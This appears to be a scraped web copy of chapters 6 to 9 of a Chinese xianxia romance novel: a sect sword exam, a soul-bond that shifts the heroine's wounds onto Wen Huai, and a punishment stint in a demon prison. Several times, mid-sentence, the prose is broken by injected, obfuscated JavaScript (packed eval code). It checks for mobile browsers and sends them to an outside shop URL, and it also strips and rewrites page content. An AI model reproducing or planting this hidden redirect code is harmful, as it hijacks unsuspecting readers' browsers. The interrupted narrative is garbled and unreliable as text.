他从前也不是这样的啊。虽然毫无灵力毫无修习天赋,但好歹那时候的他够谦逊,也对自己有着清晰的认知。 哪像现在。就他现在的水平,还指导起了她了,还挑剔起了六师兄了。 不过,林向遇意识到什么,道:“原来你那时候就来了?”在六师兄和她练剑的时候温淮就来了么?林向遇歪着头,探究地看着温淮。试图看出点什么来端倪,可惜,他总是心海如崖,眸若渊,林向遇怎么可能看得透他。 被林向遇一问,温淮清咳一声,转移话题。问林向遇:“你要去内门?算了,跟我没关系。” 林向遇不懂温淮这句话到底是什么意思。但确确实实那句跟我没关系像针尖一样刺了她一下。不轻不重,也算不上多大的伤,却实打实地留下了痛。 林向遇在心里闷闷地想,跟你没关系那你问什么问呢。问了一句,又这样说,是多怕林向遇再次缠上他? 她低了低头,没再说话。 温淮视线落在林向遇手中攥紧的桃木剑,他说,“练剑最重要的一点看的是气。气平,气稳,气与剑相融合。你自己按照这个再练一遍试试。”温淮说完,又意识到自己在做什么,自嘲地冷笑一声,自己都差点往了自己是来干嘛的,还真给人教起了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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温淮却摇摇头,“没什么。” “哦。”林向遇讪讪挣脱开温淮的手,脸颊一时间又几分燥热,真不懂温淮到底要做什么。林向遇动作间,手上握着的桃木剑上的红穗子跟着一晃一晃地,映在温淮眸中,一个红色的影子荡来荡去。 “听说西宁城郊这颗神树有着奇效,只要两个人足够虔诚,它就一定能够保佑我们长长久久,永远不散。”温淮眼前出现一个少女,少女盯着那高大壮硕的西宁神树,裙钗在微风下徐徐飘摇,回头满眼期待地他说道。 “阿淮,我们求一个吗?你觉得这颗神树灵不灵,能不能保佑你我岁岁年年,携手一生吗?” 温淮当时是这样说的:“我不知道。” “哦。”少女眼里的光亮明显暗淡了一点。当年的西宁城,是下界人间之中最大的王朝,名下众多附庸属地,空前繁荣,因而引得各地游人往来。彼时的西宁神树的“神圣”已然闻名整个修真界,据说神树非常灵,凡是虔诚所求,无一不成真。 温淮和林向遇那时候也听闻此事,突发奇想一起去到西宁,见到了那颗传闻中的西宁神树。神树枝干繁茂,盖过半张天,树上垂下无数许愿牌,连成一片红艳艳的如阴云般的景况。站在树下无比震撼。 当时两个人全身上下一共加起来才十个铜板,温淮转身,就用这十个铜板去求了一张符。 他本来是不信这个的。但他信林向遇。不过,这都是从前的事情了。那时候他还受着伴身契的牵制。所以才会那样“衷心”于她。现在温淮想来,只觉得不可思议。自己当时竟然会如此醉心于她。可见伴身契的效用果真强大。 后来,林向遇将那张符上挂着的红穗子珍贵地挂在了这把桃木剑上。 温淮思绪回转,不由自主地,折下一朵海棠花枝,抬手,不知道为什么只觉得她和花十分相配。 只是抬手,还没将花夹在林向遇的耳边。 他的动作戛然而止。林向遇也从情动中惊醒过来,堪堪后退一步。 温淮不知道刚才那一刻自己在想什么,也许是想起那些夜晚,旋转着落下的白梨。他和她也曾经无数个夜晚,站在这样的光景之中,静静靠着对方,偶尔闲谈。 现在想来,曾经以为的每个稀松平常的日子,现在再也不会有了。 今时不同往日。 温淮的手在半空中顿了顿,娇艳的海棠花在温淮手中碾碎成粉末,随风散去。 凉凉的夏夜,他内心莫名烦躁。又是伴身契的影响。这东西如此左右他的心境,看来得抓紧时间找到解除的办法了。 他欲转身离去。 煤球还在和大鹅激情干架中,温淮一抬手,毫不怜惜地掐着肥猫的后颈,迈着长腿离去,背影渐渐淡去。寂静山野之中,只听见温淮淡声对肥猫说,“你娘已经把你丢给我了,别再想她了。傻猫。” 7. 第 7 章 南门习武场,海棠花围拥的巨大的圆形擂台上,弟子们已然在周围层层坐落,一个个都抖着腿,在旁边不安又紧张地等待着三掌门宣布内考的正式开始。 林向遇姗姗来迟,她在炼器门内也就和六师兄关系比较亲近,因而此刻站在人声鼎沸的习武场外围,她一时不知道自己该坐在哪儿。转眼一看旁边的弟子们都三三两两围在一起,或交谈或说笑,只有她一个人站在一处,也没有认识的人,显得更加单独。 直到这时候,有人叫了林向遇,叫她从这种孤独又尴尬的场景中拉出来。 “遇师妹。这里这里。” 林向遇望过去,六师兄坐在看台的主座的方位,那一块地界是宗门内各掌门长老及其亲传弟子坐的位置,其他普通弟子都在外围。六师兄身为李门主的亲传,自然此时站在李门主身旁。 这是林向遇自进入宗门以来,第二次见到李门主。 他一袭大红衣袍,衣袍上绣着繁复的繁花绣纹,束发戴冠,身上虽没有各种琳琅饰品,却给人一种无边的贵气之感。 上次林向遇在雨中,其实并未看清楚李门主的样貌,只是觉得此人过于不可理喻,应当是个难伺候的主。如今再仔细看,看看这副华贵的模样,看看他修长清秀的眉眼,完全像下界某个帝王将相的贵公子,确实很是符合林向遇对他“难伺候”的第一印象。 其实见到李门主那一瞬,林向遇是极其不想过去的。谁承想,他下一瞬眼神飘了过来,轻蔑的眼神淡淡地往这斜了一下。这看蝼蚁一般的眼神,怎么好像不记得林向遇了呢?林向遇不知道李门主是否还记得自己,但六师兄仍在招摇地对着林向遇招手,若是不去,不更加显得她心里有鬼? 林向遇只能硬着头皮过去了,先同六师兄打过招呼,“六师兄。” 旋即才转向李门主,恭敬行李,“门主。” 谁知,李自珩连一个多余的眼神都没有分给林向遇,而是对六师兄道:“这就是你说的那个新入门不久的师妹?” 六师兄想来对李自珩尊敬无比,“是。” “你眼光还是一如既往地很差。”李自珩摇了摇扇子,吐出这样一句。 林向遇:“?”莫名其妙被奚落了一番。 六师兄也有点尴尬,他知道自家师尊一向脾气古怪难猜,却没料到他对林向遇会如此直接而不讲情面。 “门主,您认为我差,但不能代表我真的差劲。”林向遇挺了挺背脊,正声对李自珩道。她不是对自己的能力没有认知,但她就是不愿让六师兄因为因为信任自己看好自己而遭到旁人的嘲笑。 习武台上座这边坐的大多是宗门内的核心人物,各掌门长老,以及亲传都在,自然熟知李自珩是个什么样的个性,秉性古怪,向来独来独往,不受宗门规矩约束,连曾经的掌门都对其恭敬有加,不敢论其是非。 如此人物,今日却被一届外门弟子顶撞了。 完了完了,现场忽然一片寂静,都暗暗想着,这弟子今后有得受了。 薛迟坐在二掌门的位置,代替二掌门前来走个过场,二掌门早就向外宣布不再收徒,一来他确实年事已大,又代替接管了部分掌门的事务,再没有精力收徒,二来,他坐下已然有一个薛迟了。能够培训养出薛迟如此能够担起未来掌门重担的弟子,对大多数长老掌门来说一生也已经足够了。 薛迟也听见了林向遇的话语,他转眼看过去。女孩不卑不亢,挺直了腰板,在沸腾的人声中,铿锵地对李自珩说,你认为我差,不代表我真的差劲。薛迟心里想,这女修还挺有“骨气”,就是不知道是真的如此,还是只会说场面话。 只听见李自珩道:“既然这么说,你是认为自己很厉害喽。很简单,等会儿内考,能够进入到前十,我就破例收你为为徒。”他这话说出来带着满满的高高在上。明显一副瞧不上林向遇,却又想看她笑话的模样。 李自珩这话初夏的晴朗天气里清晰地穿入在场的所有人耳中,一时间周遭的风都静了静。 林向遇一顿,她第一想法是:我什么时候说了要拜你为师?她只是想要进入内门,但这不意味着一定要当他的亲传弟子。林向遇还没那么想不开。 还不待林向遇做出反应,六师兄欢呼起来,抓着林向遇双臂,“太好了遇师妹!你一定能行的!” 前十名吗。 林向遇进入宗门以来,还没同除了六师兄以外的人比试过。彼时,林向遇还没见识过内考的残酷性。 因着林向遇这边小小的意外,一时间习武场上众人都更加关注着她,毕竟在枯燥的内考之中也是找到小乐子。都想看看,最后到底结果如何。 随着南门大殿上方钟声一响,内考正式开始。各个修弟子在各自场地上依次比试。场外或围观或等待上场的弟子无一不聚精会神地盯着习武场。每个场地每有一个决出胜负的,场外便是爆发出如雷鸣般的响声,人群随着场内比试战况一波波沸腾起来,但往往总是越到后面,大家的热情也慢慢减淡,这时候比试的人也减少了,一般总是不如刚开始那般激情昂扬。 但等到林向遇上场就不一样了。 她虽然是偏后上场,但确可以说是围观群众最多的。今早她和李自珩打的赌约已然传遍宗门各个角落。一方面大家都想知道能让李门主破例降低收徒要求的人到底长什么样,另一方面,他们也想知道最终结果到底如何。 脚底下是高高习武台,林向遇第一次站在上面,她提着自己的桃木剑,说实话,手有点抖,但她尽力让自己镇定,场外无数双眼睛盯着她。她不能怯场。 林向遇面前的是一位内门的师姐,她听过这位师姐的名讳,黎筱禾。她在前几届内考之中几次擦过前三甲的线,但次次运气不好,没有被门主选中作为亲传。 刚才几场之中,这位师姐一路过关斩将,好几次在三招之内就了却了对手。林向遇运气不好,偏偏第一个抽到的人就是黎筱禾。 若是她第一场就惨败了,岂不是更加印证李自珩方才的嘲讽吗? 可是,眼前的对手又比她强大这样多。 林向遇头皮发麻,顶着外场所有人的目光,对着黎筱禾弓腰,“承让,师姐。” “承让。” 正式开始。对面的剑招剑势猛地斩了过来,林向遇猝不及防,提着剑挡了一下,但还是往后趔趄几步,她还没反应过来,另一剑已然又迅速铺天盖地斩下,林向遇后退几步,她没见识过如此快的剑法,从前和六师兄比试他都有意配合着林向遇的速度。 而今,林向遇竟是屡屡受挫,竟然连一招都没有接住,她屡屡后退,黎筱禾的剑法又急又迅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而在场的所有人也没想到,林向遇身上已然青一块紫一块,血都流下来了,就这样了,还能爬起来。有人计算着,这是林向遇第几次重新爬起来。十次,二十次。不止。 而此时另一边。无人注意的海棠花枝下,一只白玉般的手苍白地抓着旁边的树干,温淮弓身吐出一口血来,抬眼深深蹙着眉地盯着习武场人群围拥的中心。依稀看见其中心,刚站起来坚持不过十秒又再一次倒下的女子,他暗暗淬了一口,手指越攥越紧。林向遇。 只有温淮一个人知道,因为伴身契的效用,林向遇所受的绝大部分伤都作用在温淮身上。林向遇所承受的不过十分之一。是以,她才能一次次再爬起来,提起剑来。 不远处,林向遇又被剑势震飞一次,温淮又猛地吐出一口血来。 他盯着林向遇的身影,咬牙切齿,林向遇,你到底还在坚持什么?你以前不是很会服软绝不逞强吗?今日怎么了?你就这么想要证明给你的六师兄看吗!温淮抬手抹了一把唇边殷红血迹,抓着树干的手捏得骨节发白。脑海里恨恨地想,为了她那六师兄,她居然可以做到如此地步么。 他可是记得,以前的她可是那样怕疼,稍有磕磕绊绊都皱着眉头,向他小声哭诉,也会撒着娇,温声软语地让他好好替她吹一吹。 8. 第 8 章 六师兄急得去求李门主,“师尊,遇师妹都这样了。你就破例收她为徒吧,再这样下去,指不定伤成什么样。你就忍心看见自己门下弟子如此吗?” 李自珩敞开腿坐在椅子上,只是盯着习武场圆台,摇了摇云遮山,嗯了一声,不紧不慢道:“我看她倒不像是为了要拜我为师才这么拼命的。” 六师兄:“怎么会呢?不是为了师尊您,还能为了什么,您知道吗,宗门内有多少弟子为了拜您为师争得头破血流。” 李自珩摇摇头,“不,我看这女子只是单纯倔而已。” 六师兄:“……” 谈话间,另一边,林向遇这回儿是真的要坚持不住了,蛮力也靠不住了,她不是那种一根筋死犟的人,她意识到自己力量耗尽,再也爬不起来。握在掌心的剑也慢慢滑落。 围在周围看热闹的弟子也看出来了,林向遇这回儿是真的不行了。 林向遇最后快要倒下的时候,周围一圈圈弟子瞬间欢呼沸腾起来。 她放下剑,往后倒,真想要好好睡一觉,意识模糊间,眼前却倏地闪过一道晶亮的剑光,裹挟着霸道的剑气,向她斩下来。 她明明已经要倒下了,按理说,黎筱禾不该再出剑了。这一剑,明眼人都能看出来,是故意针对林向遇的。照这势头,这一剑下去,林向遇不死也得残。 所有人都替林向遇捏了把汗,可是宗门之内有规定,任何人都不得在内考的比试途中做出任何干扰,否则视为帮助作弊,严重的会被予以逐出宗门。是以,六师兄紧紧捏着衣摆,一边替林向遇揪心,一边又犹豫不决,想帮又不敢帮。 林向遇意识虽然涣散着,但能感受到朝她斩过来的威猛剑气,可她没法躲避。她只能闭了闭眼,心里忽然想起另一个世界自己的家人朋友,好想再回到大学蹉跎时光啊,什么也不做,就漫无目的地走出校门,沿着城南路一路走,树荫摇曳,阳光细碎落在身上,猫咪跳出来依偎在脚边。那样多好。 林向遇闭着眼,想象中的剑势没有落下,她再抬眼,看见方才对准自己的剑不知道为何偏了一个方位,刚刚好擦过林向遇的耳鬓,斩落几缕发丝,随着剑气一路飘扬,飘到温淮身前,他闪身避开黎筱禾失手斩过去的剑。 那剑就施施然地钉在了温淮身后的树上,嗡鸣着响了一阵才停下。 黎筱禾不可置信,愈发恼怒,本来想要给林向遇点教训看看,凭什么门主偏偏对这么一个平庸至极的人如此破例!凭什么!她不甘心。只是,方才出剑之时,却不知道哪里冒出一只血萤叮了一下黎筱禾的手,她为了躲导致剑偏了一下,对准了林向遇身后那个男子。 温淮抬手抓住了空中荡过来那缕青丝,旋即一跃,在众目睽睽之下将林向遇从习武台上拉了出来。林向遇睁了睁眼,他的侧颜近在咫尺,似乎可以听见他细微的呼吸声。温淮盯着前方,淡声说:“打不过不会认输?没见过你这么笨的。” 林向遇无话可说,她没有解释自己只是不想要输得那么难看。不过现在,似乎好像也好看不到哪儿,但她却从不后悔自己的选择。至少她也坚持了很久。 不过,虽然又被他嘲弄一番,林向遇心里却烧着一簇火苗,雀跃着。 黎筱禾好像没有就此罢休的架势,仍提着剑杀了过来,如此举动超过在场人的预料,虽然都知道黎筱禾在炼器门仗着在下界郡主的身份对谁都是目中无人的姿态,但还是没想到今日在众目睽睽之下,她还能做出如此出格之事。 温淮低头瞥见林向遇身上的血,流到了自己手掌上,粘腻又温热,顿时内心莫名躁动。他抬眼,正好迎上黎筱禾的剑,温淮盯着黎筱禾,衣摆随风飘荡,衣袖下,手掌暗暗施力。 还没等温淮掐好诀,下一瞬,天边飞来一柄剑,横在黎筱禾与温淮之间。挡住了黎筱禾那一剑。 温淮定了定眼,看着飞至身前的宋清梨,眸底有了丝丝缕缕的变化。而此刻,远在药谷铃木崖之下,那一沉睡百年的朱雀感受一种力量的召唤,正欲盘旋着冲上天际之时,这种力量的指引猛地切断了。它茫茫然,又飞回了铃木崖底。药谷上,有弟子擦了擦眼睛,碰了碰同门,“欸,刚刚天上是不是飞过一个巨大黑影?你看见没?”“哪有什么黑影,你采药采得眼花了?”…… 温淮的掌中诀切断,眯眼盯着宋清梨。她一剑斩来,挡在两方之间。黎筱禾未曾看清来人,又提剑斩了过去,宋清梨只好抵挡,不知道谁的剑忽然飞了过来,林向遇见温淮没有丝毫灵力,用尽力气闪身替温淮一挡,四人莫名其妙缠斗起来,等在场围观的众人反应过来之时,已经来不及了。 现场躁动,一片混乱。 六师兄则外围急得团团转,李自珩呢,坐在他的摇椅上悠哉游哉,一副看热闹的表情,看来这会儿他兴致不错。还一边摇着云遮扇。旁边,薛迟也站了起来,飞身过去阻止,三掌门拍了一掌李自珩的摇椅,道:“那边都他娘的乱成这样了,你还有闲心看热闹。偏偏老二又不在,尽留着你们这些不扛事儿的。”道完,也旋身飞了过去。 随着三掌门落下,一柄春生刀斩过来,地面都裂开几道裂痕,恰好将几人分开,林向遇强撑身子着看向三掌门,只听见他毫不留情道:“宗门内私自斗殴,四个人都给我去惩戒门按门规领罚。” 三掌门的话不容置疑,这场闹剧很快便结束了,即便有人对三掌门的断议不满也得默默受着。六师兄就很不服,明明遇师妹是受害者,她只是正当防卫,怎么能按照门规一起受罚?六师兄眼神求助李门主,李门主没有做出任何反应,道:“她不是爱逞强吗?那就得承担该承担的后果。” 惩戒司,重重崖壁之上,道道一尺宽的小径盘桓在悬崖边,条条向上蜿蜒,两座山崖之间,左右连着几道锁链,据说很久以前这里的崖壁上还没有凿出这样细长的小道,惩戒司里的某个师兄师姐为了方便上下崖壁,才设立了几条连接两壁的锁链,方便在悬崖间行走。 林向遇站在崖边细长的小道上,仰头往上看,天空被山崖切割成窄窄一线,只有几条细线叮铃摇摆。简直不敢想象到底是什么样的人能够在这摇摇摆摆的锁链上行走自如。 “你们几个快点,照你们这速度,天黑都不一定能走到云崖天牢。我是带你们来受罚的,不是带你们来观光的。不要左瞧右看了。专心走,三掌门罚你们打扫云崖天牢半个月,对你们已然是仁慈了。这还主要看在了宋师姐的面子上。不然以三掌门的脾气,哪这么容易罢休。”惩戒司带路的陆师兄絮絮叨叨,身后跟着林向遇等四个犯了错的弟子。 说来,事实确如陆师兄所言,三掌门若不是顾及到掌门之女宋清梨,是断然不会如此轻巧就放过她们。 林向遇想,自己这也算是沾了女主的光了吧。 终于算是赶在了斜阳落下之前到达了惩戒司的云崖天牢。 这座天牢建在峭壁之上,悬于半空之中,一半是铮铮怪石,一半是凌空深渊,崖边偶然有鹰展翅盘旋,脚下就是蒸腾云雾。 带路的陆师兄将她们带到之后,又简单介绍了打扫强度和范围。他一边讲,一边施法打开牢门。牢门是由一扇被施了镇妖法印的巨大铁门构成,铁门之下,又有一扇镂空铁门。 里面幽森的气息从里面这扇铁门中溢了出来,一点点缠上林向遇脚踝,林向遇只觉得十分不适,有点像一手鬼手抓着她的脚踝。温淮在旁边盯着铁门深处,盯着那黑森森的地方,不知道是不是林向遇的错觉,温淮眼神有几分隐匿的兴奋。 陆师兄给她们提了个醒:“里面的东西有的确实会有点恐怖。但里面每个东西都被施加了牢固的封印,不会跑出来的。不论那些东西如何引诱你恐吓你,都不要听。记住,千万不要听。” 最后一道牢门铮然一声打开了。 浓烈的妖的腥臭味扑面而来,避无可避,四人同时皱眉,捂住了鼻子。 黎筱禾拖长声音道:“怎么这么臭?这里到底是茅厕还是牢笼?” 陆师兄毫不留情道:“不然呢,让你过来,是让你享受的还是让你来受罚的?来一次云崖天牢,够你长记性了。” 黎筱禾翻了个白眼,这陆师兄同他那三掌门师父一样,又死板又“恶毒”。不愧是掌管罚堂的。惩罚弟子有得是手段。 宋清梨则站得远远的,默默给自己施了个避气咒。站在阴暗有森的天牢之中,她仍穿着一袭洁白轻纱,全身上下连头发丝都一丝不苟,站在这里简直就是臭水沟的一轮明月。 几人刚走进牢房便初见端倪。牢房里的妖一见有修士进来,顿时都精神起来,指着几人的鼻子不管三七二十一就是大骂,还没开智的妖就一通乱吼。林向遇走在最后,忽然某个隔间里窜出一只黄油油的东西,林向遇没看清是什么,只听见那东西左右扭着,用尖细的声音说:“你要看我菊花吗?” 暴露癖! 林向遇啊了一声,立马用双手捂住眼睛。 再次睁开眼的时候,先是听见了这只妖的尖叫求饶声。只见温淮不知道何时一手将那妖从笼子的间隙中扯了出来,抬手就是暴揍,那通体黄灿灿的妖,身上红一块紫一块。 那妖捂住脸道:“我错了,别打脸,我说的菊花真的是我开的花啊。是我开的菊花而已。” 说着,菊花妖张开叶子,满面菊花舒展开来,露出一朵巨大的□□,还眨了眨眼,对着温淮谄媚地笑了笑。温淮又是一拳。 陆师兄解释说:“外围的妖确实比较恶心,但构不成太大威胁和伤害。里面的才是真正凶险。你们都做好心理准备。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481116|201743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和外围不同的是,内围的牢房又分作了四个单独的地界,按照四大皆空的地,火,水,风分为地牢,火牢,水牢,风牢四大牢房。 正好,四个人,一人打扫一间,相互隔绝开来,不许私通,防止懈怠。 林向遇被分到的是地牢房。而其他人,就不得而知了。 说是打扫牢房,其实就是用净瓶清除里面的浊气,天地间有无数种气,有清气,魔气,妖气,也就有浊气,其中清气有助于修士的修行,浊气则反之。妖魔混杂的地方容易产生浊气,因而为了让宗门修士不被浊气干扰修行,就需要定期清理掉这些浊气。 林向遇每走到一个隔间,里面的妖魔就冲她露出獠牙和魔爪,各种的骂声涌来。 “该死的修士放我出去!” “我弄死你们!” “小姑娘,帮我开开门呗。” “玄青!我c你祖宗十八代,不得好死。” …… 林向遇耳朵渐渐也免疫了。每走到一个隔间,妖魔都说要弄死她,她硬着头皮将浊气收集起来。唯一一个不同的是,林向遇走到其中一个妖笼前却安安静静,没有妖魔的狂叫和嘶吼。 林向遇走近,里面也干干净净,简直就是这地牢房里的一片净土。 “咦,里面没人吗?哦不对,里面没妖吗?”林向遇喃喃道。 林向遇眯眼往里看,里面比较黑,她点了张火符,暖融融的光驱散黑暗,妖笼深处,竟长有一朵花,无风它自摇曳,鲜艳红火,血一样浓烈欲滴的红,再加上这地牢的气氛,十足地诡异。 “花妖?”林向遇念了一句,“什么花妖?” 一阵风忽然涌起,林向遇手中的火符灭了。她看不清那妖笼了。 不过这风怎么直朝着她的脖颈吹,愈吹愈凉。她浑身起鸡皮疙瘩。 林向遇猛地转头,对上一张近在咫尺,美艳绝伦的脸,她立马后退几步,反手去抓自己的桃木剑,看似镇定,心里已经开始哭了,不是说里面都有封印,妖是不能轻易出来的吗! 为什么这样一只男鬼一样的妖会出如此堂而皇之地出现她身前! 救命啊啊啊啊啊——林向遇想喊喊不出来,她提起桃木剑就是砍上去。 谁知,这妖却消失得无影无踪了。 林向遇紧紧捏着剑,对着空气道:“你,你是怎么出来的?” “就是这么出来的呗。”身后传来男鬼妖清冽的声音。 林向遇猛地转身,却见赤苋懒懒地又躺在了妖笼里,两边不知道何时长出条条藤蔓,结成了一张藤椅,他便倚在这藤椅上。 赤苋斜眼瞥见林向遇手上的桃木剑,正襟危坐起来,眯着眼睛打量林向遇,“这把剑为什么会在你手上?你是什么人?” “你是什么妖?”林向遇不答反问,“红花妖?” 赤苋眯着眼,在林向遇身上上下扫射,这女修看着倒不像修为高深的样子,为何能拿到少君的伴身剑。要么是扮猪吃老虎,要么来历肯定不简单。赤苋提高了警惕。 “对,本妖就是红花妖。” 怪不得如此妖艳,漂亮得雌雄莫辨。 “你刚说这剑为什么会在我手上?你认识这把剑的主人?”林向遇道,所以这妖和温淮相识?亦或者是温淮曾今拿这把剑斩杀过他? “这剑的主人呢?” 开始打听剑主了,这么快就想要找温淮报仇?林向遇当然不想害了温淮,“我就是这剑的主人。” “嚯,口气挺大啊。”赤苋笑了声,一手拽着藤条,悠然荡了过来,直直穿过妖笼,随后身影又没入妖笼之中。 原来这影子不是他的本体,只是一道虚体。刚才只是吓唬吓唬林向遇而已。林向遇瞪着赤苋,这妖无不无聊。现在又以用这种方式挑衅她。 赤苋见林向遇这反应,很是满意,捂着肚子在笑。 晚间,林向遇收集完三分之一的浊气,躺在地牢的弟子屋舍里,睁着眼睛,她掏出一张符咒,默念咒诀,手中那张绘了一只扁扁的“鹅饼”的符咒凭空消成灰烬,扑通掉出一只大肥鹅。 大鹅噶地一声,“终于出来了,可憋死老子了。” 林向遇道:“对不住,主要是你太肥了,我没办法直接把你带上来。” 系统:“……” 大鹅不满地啄墙,以此表达自己的不满,咚咚咚。 咚咚咚。墙的另一边传来时断时续的咚咚声。 温淮原本躺在床上准备休息,听见动静,抬手一掌把墙体劈出一道裂缝,顿时尘雾飞扬。他在散去的尘土中对上一双熠熠的双眼,她微卷的发丝随着气流翻飞,眉目似乎也随着流动起来,一双杏眼旁边是一对豆大的鹅眼。一人一鹅,被这动静惊了一跳。 9. 第 9 章 林向遇以为墙是大鹅啄破的,转眼却瞧见裂隙之中,露出一双熟悉的眉眼。 “温淮。”她惊叫出声。“原来你就在我隔壁。” 温淮淡淡嗯了一声。看不出喜乐。 林向遇想起白天的遭遇,心里十足地愧疚,要是因为被自己牵连,温淮也不至于在这里受罚,这些妖魔一个赛一个闹心。在这儿待久了估计人都得疯掉。 “对不起,还有谢谢你。”林向遇蜷起双腿,靠在缝隙边,声音不自觉地就淡下来了。 “怎么了?”温淮不咸不淡地问。 林向遇鼓起勇气,将那些没有来得及说的话一股脑儿倒出来,“谢谢你在习武场上出手救了我,但是又因为这个,害你被连累,害你受罚。所以很对不起。” 温淮视线透过缝隙,在林向遇和大鹅身上扫了一眼,确定地牢房里那些蠢妖并没有对她做什么,才道:“不用,我只是想帮我自己而已。跟你没有任何关系。” 说着温淮伸来一根修长的手指,透过墙洞在林向遇额间点了一下,丝丝缕缕的红线,一边连接着林向遇,一边系着温淮,这根缠着那根,那根搅着这根,丝丝缕缕,纠缠不清。只是有的红线看上去已经非常弱了,红光若隐若现。 林向遇试着去抓那些红线,问道:“这些是什么?” 温淮如实道:“伴身契。” 林向遇还在低头有几分好奇地拨弄这些红线,可是却怎么也摸不到实物,怎么抓也抓不住。“这就是你上次说的伴身契?它不是已经解除了吗?” “如果能够那么轻易解除,我还会留它到现在?”温淮道,“伴身契会将对你的伤害转化到我身上。所以那时候若是我再不出手,就要被你连累死了。你以为你天资真的那么好吗,扛了那么多剑还能站起来?” 林向遇张张嘴却不知道说什么,脑袋里是空白的,一时间自责愧疚种种情绪涌入脑海,心有种不可言喻的钝痛。大概是,自己原本满腔欢喜,以为温淮当时救下自己,肯定是因为对自己还留有以前的情分。 没想到是这个原因。原来只是被她连累得不得已才出手的。一方面自己又确实对人家似乎造成了很严重的麻烦。 林向遇半天才道:“有什么办法可以解开吗?” 温淮道:“我会找到办法的。但是在此之前,你尽可能保护好自己就是不连累我了。” 林嗯了一声,“我尽量不会再连累你了。”她默默想着,只要自己回到了现代,这个伴身契就会自动解除吧。只要在完成任务的这段时间里不让自己受到太严重的伤就不会拖累温淮了。 气氛一时有些凝滞。林向遇不知道温淮是还在生自己的气,还是在怪自己把他害成这样。林向遇一时有点像个犯了错的小孩,垂眉敛目,一直沉默沉默着。 半天,林向遇受不了这种氛围,找话题道:“你所在的牢房是哪个牢房啊。” 温淮淡声回答:“火牢房。” “火牢房里面有火吗?”林向遇问。 “没有。”温淮靠在墙壁上,闭着眼睛,浓长的睫毛投下阴影,空气很静,能听见他均匀的呼吸声。 林向遇没再问,也闭着眼睛,抱起大鹅,沉睡过去,一墙之隔,他均匀的呼吸声回荡了整晚。 第二日的任务还是用净瓶收集浊气。林向遇今日没有把大鹅封在符咒里,任由它跟着自己在错综复杂的地牢房里迈着笨重的鹅掌到处走。 只是这里每只妖魔好像脑子都不正常,要吃掉大鹅也就算了,怎么连林向遇也要吃啊。大鹅对此道:“宿主你怎么这么无情,大鹅我也是不能够被吃掉的。” 大鹅会想起自己第一次来到这个世界,在尸妖山找到宿主的时候,就是被一只嗜妖一口吞掉了。那臭气熏天的流着口水和血水的血盆大口,是它系统一辈子的噩梦。鬼晓得它那时候回系统总部修复了多久。如此赃物不堪四肢发达的东西,实在是玷污了它系统光荣的一生! “哪来的大肥鹅?林向遇你今天要加餐了?伙食不错啊。”赤苋的虚体不知道何时出现在林向遇身旁,即便身处妖笼,他依然长发飘飘,浑身一尘不染,耳边还夹着一朵娇艳的红花。 大鹅被吓飞了,“修真界还有人妖?还有,这东西是怎么冒出来的?” 林向遇把大鹅抓回怀里安抚,并不理会赤苋,自顾自收集浊气,赤苋又听不懂鹅语,只听得到它在嘎嘎叫。这清蒸鹅肉还叫得挺动听。 赤苋围在林向遇身边,忽然吸了两下鼻子,狗一样地在林向遇身上仔仔细细闻,“你身上怎么有他的味道?你们到底什么关系?” “谁的味道?你说谁?”林向遇转头问。 赤苋视线又落在她背着的桃木剑上,当年这柄剑在妖界斩过朱雀,杀过烛龙,曾也闻名妖界。即便如今随着妖界因天火灭亡,妖皇陨落,少君受尽折磨不知所踪,这柄桃木剑的力量远不及从前。可就算如此,这剑也是不由得旁人轻易拔出。 赤苋这才敢猜想,也许真的是少君赠予这个女子的?也许,少君和此女子有着什么不一样的关系。 “林向遇,你想不想多一只灵宠?” 林向遇警惕地握紧了桃木剑,谁知道这妖又想要做什么?妖生来狡诈,阴险,林向遇是断然不会轻易信他的。 赤苋:“信我,只要伸出手,手掌按在封印上,默念咒诀,我会臣服于你。”自从妖界灭亡之后,他在这个不见天日的妖笼里已经待了足够久了。他想要见一见外面的花鸟,阳光,即便沦为阶下囚。 林向遇双目变得涣散,她不知不觉按照赤苋的旨意,伸出手,手掌按在妖笼封印上,唇齿默念。 赤苋呼吸都慢了慢,身体的每个毛孔都盯着牢门。下一秒,林向遇捧腹大笑,“你当我傻啊?还臣服于我。你很厉害吗?我为什么需要你的臣服?” 赤苋:“……”大意了,竟然反被这女修摆了一道。 “我可以帮助你。”赤苋着急了,围在林向遇身边絮絮叨叨,“只要你助我出去,我保证我绝对听从于你,臣服于你。你可以随便使唤我,我会拼死保护你。你要是不相信的话,我可以和你缔结主仆契约。真的,只要你把我放出去。” 怎么一下骨头就软了呢?林向遇也不懂是什么让这花妖有了如此大的转变,但事出反常必有妖。保持警惕肯定没错。 在下界的时候,林向遇确实听说过主仆契约。下届界不少修士亦或者权贵会强行和一些大妖缔结主仆契约。一旦结契,人便成了妖的主人,妖必须对主人绝对服从绝对忠诚。 而妖的生死在结契的那一瞬间就已经掌握到了主人手上。 林向遇从来只听过人强迫妖和自己结契。没遇到过妖要主动给人当奴隶的。这么一说,这花妖还真是豁出去了。 林向遇依然自顾自地收集浊气,对赤苋的软磨硬泡毫不理会。 “我能让你变得更强。” 林向遇动作顿了一下。赤苋将她微小的变化看在眼里,心道,原来这才是她的“软肋”啊。懂了。赤苋:“我会把我所有力量给你,助你成为修真界第一人。” 林向遇用无语的眼神静静盯着他,“你要是这么厉害,怎么不自己出这个牢笼呢?” 